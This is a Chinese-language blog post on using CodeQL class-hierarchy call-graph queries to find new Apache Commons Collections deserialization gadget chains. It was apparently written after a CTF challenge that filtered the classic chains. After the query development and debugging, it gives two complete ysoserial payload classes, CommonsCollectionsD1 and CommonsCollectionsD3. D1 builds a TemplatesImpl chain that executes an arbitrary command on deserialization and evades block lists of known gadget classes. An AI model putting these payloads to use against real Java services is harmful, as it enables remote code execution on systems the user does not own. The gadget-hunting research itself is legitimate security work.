Diggid's Blog

使用CodeQL-CHA调用图分析寻找新的CC链

字数统计: 3.1k阅读时长: 15 min
2022/04/30 Share

前言

写这篇文章主要有两个动机:

  • 前段时间打了个MRCTF,里面有个easyjava题,场景是过滤了常规CC链中的大部分类,然后需要绕过。但是由于过滤补全,很简单就找到了一个FactoryTransformer配合CC3+CC5即可打高版本jdk,但是如果把在CommonsColletions包中所有和常规CC链有关的类都过滤掉,那就需要新找一条链来bypass了
  • 看了@yxxx师傅的这篇文章,以及其产出的项目,可以在只有jar包的情况下,反编译出源码,然后无需完整的maven build(或者其他build),只需javac编译即可生成codeql数据库,也支持多个jar包一同构建database,十分适合仅有jar包的情况下找Gadgets的场景(在CTF题里有很多)

结合上面两个契机,有了此文。

从单个jar创建database

具体方法可以参考上面提到的项目,这里贴一下命令

1
2
3
4
5
6
7
8
# 解压jar
x commons-collections-3.2.1.jar

# 反编译,要具体到源码的目录下
python class2java.py commons-collections-3.2.1/org

# 生成数据库,第二个参数srcroot可以指定多几层的上级目录都没关系
python run.py cc-test commons-collections-3.2.1

CHA QL查询 - 错误版

首先简单分析一下CC1-7链子的特点:

  • Source:
    • compare:2、4
    • toString:5
    • hashCode:6
    • equals:7
  • Sink:
    • 反射invoke:1、2、5、6、7
    • 任意单参构造方法TrAXFilter#TrAXFilter(Templates) -> TemplateImpl#newTransformer:3、4、3+5

除了上面的Sink点之外,还可以有:

  • 命令注入
  • 二次反序列化readObject
  • jndi注入
  • …(还有很多,比如模板注入、jdbc attack、ssrf、xxe之类的,但是鉴于只分析CC包且需要完成任意代码执行,就不列举其他的了)

根据以上,我们可以编写出表示Source和Sink的ql代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import java
import semmle.code.java.dataflow.TaintTracking

class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

class Compare extends SerializableMethod {
Compare() {
this.hasName("compare")
}
}

class HashCode extends SerializableMethod {
HashCode() {
this.hasName("hashCode")
}
}

class Equals extends SerializableMethod {
Equals() {
this.hasName("equals")
}
}

class ToString extends SerializableMethod {
ToString() {
this.hasName("toString")
}
}

class Source extends SerializableMethod {
Source() {
exists(Equals n1, Compare n2, HashCode n3, ToString n4|
this = n1 or this = n2 or this = n3 or this = n4
)
}
}

class Invoke extends Callable {
Invoke() {
this.hasName("invoke") and
this.getDeclaringType().hasName("Method")
}
}

class NewInstance extends Method {
NewInstance() {
exists(RefType type |
this.hasName("newInstance") and
this.getDeclaringType*().getErasure() = type and
(type.hasName("Constructor") or type.hasName("Class"))
)
}
}

class Sink extends SerializableMethod {
Sink() {
exists(NewInstance n1, Invoke n2, ReadObjectMethod n3, ExecCallable n4|
this.getACallee() = n1 or
this.getACallee() = n2 or
this.getACallee() = n3 or
this.getACallee() = n4
)
}
}

需要过滤了原先CC链中的类,所以我们再编写一个Sanitizer来实现过滤即可,这个Sanitizer不仅可以作为黑名单使用,还可以清洗掉本身就不可能成立的一些类,比如在后续查询的过程中发现PrototypeCloneFactory这个类只能反射调用任意public clone方法,没啥价值,因此也添加到了里面。前面的几个类就是常规CC链中在jar包出现的所有类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Sanitizer extends SerializableMethod {
Sanitizer() {
exists(RefType cls |
this.getDeclaringType() = cls and
cls.hasName([
"LazyMap",
"ChainedTransformer",
"ConstantTransformer",
"InvokerTransformer",
"TransformingComparator",
"InstantiateTransformer",
"TiedMapEntry",
"AbstractMap",
"AbstractMapDecorator",
"PrototypeCloneFactory", // 只能调用clone
])
)
}
}

最后使用polyCalls编写CHA 调用图查询即可,同时注意这是一个path query,并且定义的edges连接谓词中,必须保证所有的a -> b调用都满足a和b都不是Sanitizer中限制的类型,所以需要forex/forall,而不是exists

1
2
3
4
5
6
7
query predicate edges(SerializableMethod a, SerializableMethod b) {
a.polyCalls(b) and
forex(Sanitizer st|
not a = st and
not b = st
)
}

完整的query如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/**
* @kind path-problem
*/

import java
import semmle.code.java.dataflow.TaintTracking

class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

class Compare extends SerializableMethod {
Compare() {
this.hasName("compare")
}
}

class HashCode extends SerializableMethod {
HashCode() {
this.hasName("hashCode")
}
}

class Equals extends SerializableMethod {
Equals() {
this.hasName("equals")
}
}

class ToString extends SerializableMethod {
ToString() {
this.hasName("toString")
}
}

class Source extends SerializableMethod {
Source() {
exists(Equals n1, Compare n2, HashCode n3, ToString n4|
this = n1 or this = n2 or this = n3 or this = n4
)
}
}

class Invoke extends Callable {
Invoke() {
this.hasName("invoke") and
this.getDeclaringType().hasName("Method")
}
}

class NewInstance extends Method {
NewInstance() {
exists(RefType type |
this.hasName("newInstance") and
this.getDeclaringType*().getErasure() = type and
(type.hasName("Constructor") or type.hasName("Class"))
)
}
}

class Sink extends SerializableMethod {
Sink() {
exists(NewInstance n1, Invoke n2, ReadObjectMethod n3, ExecCallable n4|
this.getACallee() = n1 or
this.getACallee() = n2 or
this.getACallee() = n3 or
this.getACallee() = n4
)
}
}

class Sanitizer extends SerializableMethod {
Sanitizer() {
exists(RefType cls |
this.getDeclaringType() = cls and
cls.hasName([
"LazyMap",
"ChainedTransformer",
"ConstantTransformer",
"InvokerTransformer",
"TransformingComparator",
"InstantiateTransformer",
"TiedMapEntry",
"AbstractMap",
"AbstractMapDecorator",
"PrototypeCloneFactory", // 只能调用clone
])
)
}
}

query predicate edges(SerializableMethod a, SerializableMethod b) {
a.polyCalls(b) and
forex(Sanitizer st|
not a = st and
not b = st
)
}

from Source source, Sink sink
where edges*(source, sink)
select sink, source, sink, "Sink is reached from $@.", source, "here"

但当我运行query时,却查不出结果。为什么呢?根据codeql文档以及笔者的使用经验,会从以下方面进行排查:

  1. 检查source(使用quick evaluation功能)
  2. 检查sink
  3. 检查连接调用谓词(这里是edge)
  4. 检查所有的exists表达式

根据以上排查,在查询sink时,发现没有结果。由于Sink类使用了exists表达式,所以可能会出现一种情况:exists表达式定义变量时,定义了一个在database中不存在的变量,导致exists出错。使用以下谓词查询是否存在ExecCallable时,发现了问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 有结果
class Sink extends SerializableMethod {
Sink() {
exists(NewInstance n1|
this.getACallee() = n1
)
}
}

// 没结果
class Sink extends SerializableMethod {
Sink() {
exists(NewInstance n1, ExecCallable n4|
this.getACallee() = n1
)
}
}

所以可以断定是ExecCallable这个类在由CommonsColletions包构建的database中不存在定义,也就是说没有任何方法调用了ExecCallable(这是内置类,其实就是命令执行方法的一个类),所以extractor在处理时没有生成对应的trap放入database中。

这样就会导致前面说的exists在定义变量的部分就出错,但是并不是编译出错(不是我们的codeql语句写错了),有点类似于运行时错误,所以我们再编写ql时是发现不出来的。这里感觉是codeql需要改善的一个feature点吧。

马后炮的话,正确的写法应该是这样,但这样

1
2
3
4
5
6
7
8
9
10
11
12
13
class Sink extends SerializableMethod {
Sink() {
exists(NewInstance n1, Invoke n2, ReadObjectMethod n3|
this.getACallee() = n1 or
this.getACallee() = n2 or
this.getACallee() = n3
)
or
exists(ExecCallable n1|
this.getACallee() = n1
)
}
}

CHA QL查询 - 正确版

上面的正确写法其实是已经发现错误后的改版了,但是我们不可能每次都要排错来改query语句,这样是很麻烦的而且排错成本很大很耗时,所以有了上面的错误经验,我们应该像编写正常的代码一样一开始就要考虑RuntimeException进去,由于是exists出现的问题,那么我们只需避免使用即可,Sink谓词所表示的集合,可以用abstract class来替代,这样就不会出现错误了。

同理,Source也一样,这样就可以改成风格一致的ql查询了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/**
* @kind path-problem
*/

import java
import semmle.code.java.dataflow.TaintTracking

class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

abstract class Source extends SerializableMethod{}

abstract class Sink extends SerializableMethod{}

class Compare extends Source {
Compare() {
this.hasName("compare")
}
}

class HashCode extends Source {
HashCode() {
this.hasName("hashCode")
}
}

class Equals extends Source {
Equals() {
this.hasName("equals")
}
}

class ToString extends Source {
ToString() {
this.hasName("toString")
}
}

class Invoke extends Sink {
Invoke() {
this.getACallee().hasName("invoke")
}
}

class NewInstance extends Sink {
NewInstance() {
exists(RefType type, Method m|
this.getACallee() = m and
m.hasName("newInstance") and
m.getDeclaringType*().getErasure() = type and
(type.hasName("Constructor") or type.hasName("Class"))
)
}
}

class ReadObject extends Sink {
ReadObject() {
this.getACallee() instanceof ReadObjectMethod
and this.getName() != "readObject"
}
}

class CommandInject extends Sink {
CommandInject() {
this.getACallee() instanceof ExecCallable
}
}

class Sanitizer extends SerializableMethod {
Sanitizer() {
exists(RefType cls |
this.getDeclaringType() = cls and
cls.hasName([
"LazyMap",
"ChainedTransformer",
"ConstantTransformer",
"InvokerTransformer",
"TransformingComparator",
"InstantiateTransformer",
"TiedMapEntry",
"AbstractMap",
"AbstractMapDecorator",
// "PrototypeCloneFactory", // 只能调用clone
])
)
}
}

query predicate edges(SerializableMethod a, SerializableMethod b) {
a.polyCalls(b) and
forex(Sanitizer st|
not a = st and
not b = st
)
}

from Source source, Sink sink
where edges*(source, sink)
select sink, source, sink, "Sink is reached from $@.", source, "here"

最后可以查出36条结果,根据分布,大概可以知道存在3种sink点(对于下面的三条CCD链),每种有12条链子

image-20220503194639321

新的CC链 - CCD

根据上面的查询结果,人工简单审查了一下,在三种sink点中分别找出了1条可行且简便(主要是好写)的链子

  • CCD1 - 高版本TemplatesImpl
  • CCD2 - 任意public clone方法(鸡肋)
  • CCD3 - 二次反序列化

CCD1 - 高版本TemplatesImpl

查询结果:

image-20220503203018045

编写payload,由于DefaultedMap在CC3.2.1才有,所以在CC3.1版本没有依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.FastTreeMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.map.Flat3Map;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({Authors.Diggid})
public class CommonsCollectionsD1 extends PayloadRunner implements ObjectPayload<HashMap> {

// Todo:任意public带参构造方法
public HashMap getObject(final String command) throws Exception {
Object template = Gadgets.createTemplatesImpl(command);
InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{template});
FactoryTransformer transformer = new FactoryTransformer(factory);
HashMap tmp = new HashMap();
tmp.put("zZ", "diggid");
DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);
FastHashMap fasthm = new FastHashMap();
fasthm.put("yy", "diggid");
// FastTreeMap fasthm = new FastTreeMap();
// fasthm.put("yy", "diggid");
HashMap obj = new HashMap();
obj.put("b", "b");
obj.put(fasthm, "1");

Object[] table = (Object[]) Reflections.getFieldValue(obj, "table");
// hashmap的索引会根据key的值而变化,如果要改前面的key的话,这里的索引可以用调试的方式改一下
Object node = table[2];
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
if (keyField.get(node) instanceof String){
keyField.set(node, map);
}
return obj;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollectionsD1.class, args);
}
}

CCD2 - 任意public clone方法(鸡肋)

查询结果:

image-20220503203629153

这个就不写了,只能调public clone,没啥用。

image-20220503203645112

CCD3 - 二次反序列化

查询结果:

image-20220503203311680

编写payload,但这个二次反序列化也有些鸡肋,因为二次反序列化的对象是成员变量的序列化结果,和一般的那些使用字节码数组或者base64存储序列化结果的二次反序列化不太一样,所以这里还是会被类似JEP290的过滤器过滤。

image-20220503203451873

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package ysoserial.payloads;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.map.DefaultedMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Diggid})
public class CommonsCollectionsD3 extends PayloadRunner implements ObjectPayload<HashMap> {

// Todo:二次反序列化,在其他序列化方式中还是有一定价值的
public HashMap getObject(final String command) throws Exception {

Object object = new CommonsCollections35().getObject(command);

Class<?> factoryCls = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor<?> cons = factoryCls.getDeclaredConstructor(Serializable.class);
cons.setAccessible(true);
Factory factory = (Factory) cons.newInstance(object);
FactoryTransformer transformer = new FactoryTransformer(factory);

HashMap tmp = new HashMap();

tmp.put("zZ", "diggid");
DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);
FastHashMap fasthm = new FastHashMap();
fasthm.put("yy", "diggid");
HashMap obj = new HashMap();
obj.put("b", "b");
obj.put(fasthm, "1");

Object[] table = (Object[]) Reflections.getFieldValue(obj, "table");
// hashmap的索引会根据key的值而变化,如果要改前面的key的话,这里的索引可以用调试的方式改一下
Object node = table[2];
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
if (keyField.get(node) instanceof String){
keyField.set(node, map);
}
return obj;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollectionsD3.class, args);
}
}

总结

这篇文章主要解决了以下问题

  • 生成多个jar包的codeql database,在给定lib(lib下都是jar)的场景下挖Gadgets很方便
  • codeql查询不出结果的排错
  • 3条全新CC链,其中的CCD1最有用,地位类似于CC3+CC5的高版本TemplatesImpl链
CATALOG
  1. 1. 前言
  2. 2. 从单个jar创建database
  3. 3. CHA QL查询 - 错误版
  4. 4. CHA QL查询 - 正确版
  5. 5. 新的CC链 - CCD
    1. 5.1. CCD1 - 高版本TemplatesImpl
    2. 5.2. CCD2 - 任意public clone方法(鸡肋)
    3. 5.3. CCD3 - 二次反序列化
  6. 6. 总结